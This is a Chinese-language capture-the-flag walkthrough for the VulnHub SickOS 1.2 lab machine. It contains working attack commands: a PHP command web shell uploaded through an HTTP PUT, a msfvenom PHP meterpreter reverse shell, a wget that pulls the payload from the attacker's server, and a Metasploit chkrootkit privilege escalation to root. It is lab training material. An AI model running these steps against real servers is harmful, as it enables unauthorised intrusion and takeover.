您好,欢迎来到三六零分类信息网!老站,搜索引擎当天收录,欢迎发信息
免费发信息

如何获取SickOS 1.2 Flag

2024/3/28 20:27:16发布6次查看
实验环境如下:
基本思路:
network scanning (网络扫描 netdiscover, nmap)
directory brute-force (网站目录扫描  dirb)
find http options: put (查找http选项  curl)
generate php backdoor (生成php后门 msfvenom)
upload and execute a backdoor(上传php后门)
reverse connection (metasploit)
privilege escalation (cron job)
import python one-liner for proper tty shell
get root access and capture the flag.
1)network scanning (网络扫描 netdiscover, nmap)
root@host06:~# nmap -sv -t4 -a 192.168.32.169starting nmap 7.70 ( https://nmap.org ) at 2019-06-21 19:19 cstnmap scan report for 192.168.32.169host is up (0.00085s latency).not shown: 999 closed portsport state service version80/tcp open http apache httpd 2.2.22 ((ubuntu))| http-robots.txt: 5 disallowed entries|_/ange1 /angel1 /nothing /tmp /uploads|_http-server-header: apache/2.2.22 (ubuntu)|_http-title: dinamac address: 00:0c:29:29:82:ce (vmware)device type: general purposerunning: linux 2.6.x|3.xos cpe: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3os details: linux 2.6.32 - 3.5network distance: 1 hoptraceroutehop rtt address1 0.85 ms 192.168.32.169os and service detection performed. please report any incorrect results at https://nmap.org/submit/ .nmap done: 1 ip address (1 host up) scanned in 12.13 seconds
从上面扫描可以看出,主机只开放了如下服务与端口:
ssh (22/tcp) - openssh 5.9p1 debian
http (80/tcp) - lighttpd 1.4.28
2) 使用dirb 扫描网站目录
root@host06:~# dirb http://192.168.32.169-----------------dirb v2.22 by the dark raver-----------------start_time: fri jun 21 19:25:51 2019url_base: http://192.168.32.169/wordlist_files: /usr/share/dirb/wordlists/common.txt-----------------generated words: 4612 ---- scanning url: http://192.168.32.169/ ----+ http://192.168.32.169/index.php (code:200|size:163) ==> directory: http://192.168.32.169/test/ ---- entering directory: http://192.168.32.169/test/ ----(!) warning: directory is listable. no need to scan it. (use mode '-w' if you want to scan it anyway) -----------------end_time: fri jun 21 19:26:01 2019downloaded: 4612 - found: 1
使用niko 扫描时发现"the x-content-type-options header is not set",
root@host06:~# nikto -h http://192.168.32.169- nikto v2.1.6---------------------------------------------------------------------------+ target ip: 192.168.32.169+ target hostname: 192.168.32.169+ target port: 80+ start time: 2019-06-21 19:34:28 (gmt8)---------------------------------------------------------------------------+ server: lighttpd/1.4.28+ the anti-clickjacking x-frame-options header is not present.+ the x-xss-protection header is not defined. this header can hint to the user agent to protect against some forms of xss+ the x-content-type-options header is not set. this could allow the user agent to render the content of the site in a different fashion to the mime type+ all cgi directories 'found', use '-c none' to test none+ retrieved x-powered-by header: php/5.3.10-1ubuntu3.21+ 26545 requests: 0 error(s) and 4 item(s) reported on remote host+ end time: 2019-06-21 19:37:21 (gmt8) (173 seconds)
再次使用curl -v -x options http://192.168.32.169/test测试,确认可以"put"等方法来进行注入
root@host06:~# curl -v -x options http://192.168.32.169/test* expire in 0 ms for 6 (transfer 0x5588c3fe4d00)* trying 192.168.32.169...* tcp_nodelay set* expire in 200 ms for 4 (transfer 0x5588c3fe4d00)* connected to 192.168.32.169 (192.168.32.169) port 80 (#0)> options /test http/1.1> host: 192.168.32.169> user-agent: curl/7.64.0> accept: */*>< http/1.1 301 moved permanently< dav: 1,2< ms-author-via: dav< allow: propfind, delete, mkcol, put, move, copy, proppatch, lock, unlock< location: http://192.168.32.169/test/< content-length: 0< date: fri, 21 jun 2019 15:16:48 gmt< server: lighttpd/1.4.28<* connection #0 to host 192.168.32.169 left intact
使用curl的put方法上传一个文件 curl -v -x put -d 'i am a boy' http://192.168.32.169/test/test.txt
root@host06:~# curl -v -x put -d 'i am a boy' http://192.168.32.169/test/test.txt* expire in 0 ms for 6 (transfer 0x560c4ca07d00)* trying 192.168.32.169...* tcp_nodelay set* expire in 200 ms for 4 (transfer 0x560c4ca07d00)* connected to 192.168.32.169 (192.168.32.169) port 80 (#0)> put /test/test.txt http/1.1> host: 192.168.32.169> user-agent: curl/7.64.0> accept: */*> content-length: 10> content-type: application/x-www-form-urlencoded>* upload completely sent off: 10 out of 10 bytes< http/1.1 201 created< content-length: 0< date: fri, 21 jun 2019 15:22:00 gmt< server: lighttpd/1.4.28<* connection #0 to host 192.168.32.169 left intact
使用相同的方法可以上传一个php调用shell命令的函数 curl -x put -d '<?php system($_get["cmd"]);' http://192.168.32.169/test/cmd.php 如下测试
root@host06:~# curl -x put -d '<?php system($_get["cmd"]);' http://192.168.32.169/test/cmd.phproot@host06:~# curl "http://192.168.32.169/test/cmd.php?cmd=id;"uid=33(www-data) gid=33(www-data) groups=33(www-data)root@host06:~# curl "http://192.168.32.169/test/cmd.php?cmd=ls%20-lha"total 16kdrwxr-xr-x 2 www-data www-data 4.0k jun 21 08:28 .drwxr-xr-x 3 root root 4.0k apr 25 2016 ..-rw-r--r-- 1 www-data www-data 27 jun 21 08:28 cmd.php-rw-r--r-- 1 www-data www-data 10 jun 21 08:22 test.txt
生成反弹shell脚本并上传
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.32.10 lport=443 -f raw > put01.php (备注:这里端口使用443目的是绕过防火墙)
root@host06:~# msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.32.10 lport=443 -f raw > put01.php[-] no platform was selected, choosing msf::module::platform::php from the payload[-] no arch selected, selecting arch: php from the payloadno encoder or badchars specified, outputting raw payloadpayload size: 1113 bytes
上传文件方法1:利用原来上传的调用系统cmd命令方法
启动一个python临时web服务器,以提供客户端下载内容。python -m simplehttpserver 443 (备注:此使用443端口绕过防火墙)
并且执行: curl "http://192.168.32.169/test/cmd.php?cmd=wget%20http://192.168.32.10:443/put01.php" 以下载put01.php文件
root@host06:~# python -m simplehttpserver 443serving http on 0.0.0.0 port 443 ...192.168.32.169 - - [21/jun/2019 20:09:25] "get /put01.php http/1.1" 200 -
上传文件方法2: 使用curl --upload-file
root@host06:~# curl --upload-file put02.php -v --url http://192.168.32.169/test/put02.php -0 --http1.0* expire in 0 ms for 6 (transfer 0x55e395728d00)* trying 192.168.32.169...* tcp_nodelay set* expire in 200 ms for 4 (transfer 0x55e395728d00)* connected to 192.168.32.169 (192.168.32.169) port 80 (#0)> put /test/put02.php http/1.0> host: 192.168.32.169> user-agent: curl/7.64.0> accept: */*> content-length: 111>* we are completely uploaded and fine* http 1.0, assume close after body< http/1.0 201 created< content-length: 0< connection: close< date: sat, 22 jun 2019 00:12:16 gmt< server: lighttpd/1.4.28<* closing connection 0
启动msfconsole 并设定如下相关参数,然后执行curl "http://192.168.32.169/test/put01.php"(即查执行刚上传的shell)
root@host06:~# msfconsole _---------. .' ####### ;." .---,. ;@ @@`; .---,..." @@@@@'.,'@@ @@@@@',.'@@@@ ".'-.@@@@@@@@@@@@@ @@@@@@@@@@@@@ @; `.@@@@@@@@@@@@ @@@@@@@@@@@@@@ .' "--'.@@@ -.@ @ ,'- .'--" ".@' ; @ @ `. ;' |@@@@ @@@ @ . ' @@@ @@ @@ , `.@@@@ @@ . ',@@ @ ; _____________ ( 3 c ) /|___ / metasploit! \ ;@'. __*__,." \|--- \_____________/ '(.,...."/ =[ metasploit v5.0.28-dev ]+ -- --=[ 1897 exploits - 1068 auxiliary - 329 post ]+ -- --=[ 547 payloads - 44 encoders - 10 nops ]+ -- --=[ 2 evasion ]msf5 > use exploit/multi/handlermsf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcppayload => php/meterpreter/reverse_tcpmsf5 exploit(multi/handler) > set lhost 192.168.32.10lhost => 192.168.32.10msf5 exploit(multi/handler) > set lport 443lport => 443msf5 exploit(multi/handler) > run[*] started reverse tcp handler on 192.168.32.10:443[*] sending stage (38247 bytes) to 192.168.32.169[*] meterpreter session 1 opened (192.168.32.10:443 -> 192.168.32.169:49617) at 2019-06-21 20:16:00 +0800meterpreter > shellprocess 28313 created.channel 0 created.iduid=33(www-data) gid=33(www-data) groups=33(www-data)cat /etc/crontab# /etc/crontab: system-wide crontab# unlike any other crontab you don't have to run the `crontab'# command to install the new version when you edit this file# and files in /etc/cron.d. these files also have username fields,# that none of the other crontabs do.shell=/bin/shpath=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin# m h dom mon dow user command17 * * * * root cd / && run-parts --report /etc/cron.hourly25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )#chkrootkit -vchkrootkit version 0.49^zbackground channel 0? [y/n] ymeterpreter >background session 1? [y/n] y[-] unknown command: y.
返回msfconsole控制台,检查chkroot的漏洞,并利用此漏洞进行***测试
msf5 exploit(multi/handler) > search chkrootmatching modules================ # name disclosure date rank check description - ---- --------------- ---- ----- ----------- 0 exploit/unix/local/chkrootkit 2014-06-04 manual yes chkrootkit local privilege escalationmsf5 exploit(multi/handler) > use exploit/unix/local/chkrootkitmsf5 exploit(unix/local/chkrootkit) > show optionsmodule options (exploit/unix/local/chkrootkit): name current setting required description ---- --------------- -------- ----------- chkrootkit /usr/sbin/chkrootkit yes path to chkrootkit session yes the session to run this module on.exploit target: id name -- ---- 0 automaticmsf5 exploit(unix/local/chkrootkit) > set session 1session => 1msf5 exploit(unix/local/chkrootkit) > set lport 8080lport => 8080
重新进行***测试
msf5 exploit(unix/local/chkrootkit) > run -j[*] exploit running as background job 0.[*] exploit completed, but no session was created.[*] started reverse tcp double handler on 192.168.32.10:8080msf5 exploit(unix/local/chkrootkit) > [!] rooting depends on the crontab (this could take a while)[*] payload written to /tmp/update[*] waiting for chkrootkit to run via cron...[*] accepted the first client connection...[*] accepted the second client connection...[*] command: echo tndowzehqzjpt8fe;[*] writing to socket a[*] writing to socket b[*] reading from sockets...[*] reading from socket a[*] a: "tndowzehqzjpt8fe\r\n"[*] matching...[*] b is input...[*] command shell session 2 opened (192.168.32.10:8080 -> 192.168.32.169:33664) at 2019-06-21 19:01:31 +0800[+] deleted /tmp/updatemsf5 exploit(unix/local/chkrootkit) > sessions -lactive sessions=============== id name type information connection -- ---- ---- ----------- ---------- 1 meterpreter php/linux www-data (33) @ ubuntu 192.168.32.10:443 -> 192.168.32.169:49613 (192.168.32.169) 2 shell cmd/unix 192.168.32.10:8080 -> 192.168.32.169:33664 (192.168.32.169)msf5 exploit(unix/local/chkrootkit) > sessions -i 2[*] starting interaction with 2...whoamirootiduid=0(root) gid=0(root) groups=0(root)python -c 'import pty;pty.spawn("/bin/bash")'root@ubuntu:~# cd /rootcd /rootroot@ubuntu:~# lsls304d840d52840689e0ab0af56d6d3a18-chkrootkit-0.49.tar.gz chkrootkit-0.497d03aaa2bf93d80040f3f22ec6ad9d5a.txt newruleroot@ubuntu:~# cat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txtcat 7d03aaa2bf93d80040f3f22ec6ad9d5a.txtwow! if you are viewing this, you have "sucessfully!!" completed sickos1.2, the challenge is more focused on elimination of tool in real scenarios where tools can be blocked during an assesment and thereby fooling tester(s), gathering more information about the target using different methods, though while developing many of the tools were limited/completely blocked, to get a feel of old school and testing it manually.thanks for giving this try.@vulnhub: thanks for hosting this up!.
以上就是如何获取sickos 1.2 flag的详细内容。
该用户其它信息

VIP推荐

免费发布信息,免费发布B2B信息网站平台 - 三六零分类信息网 沪ICP备09012988号-2
企业名录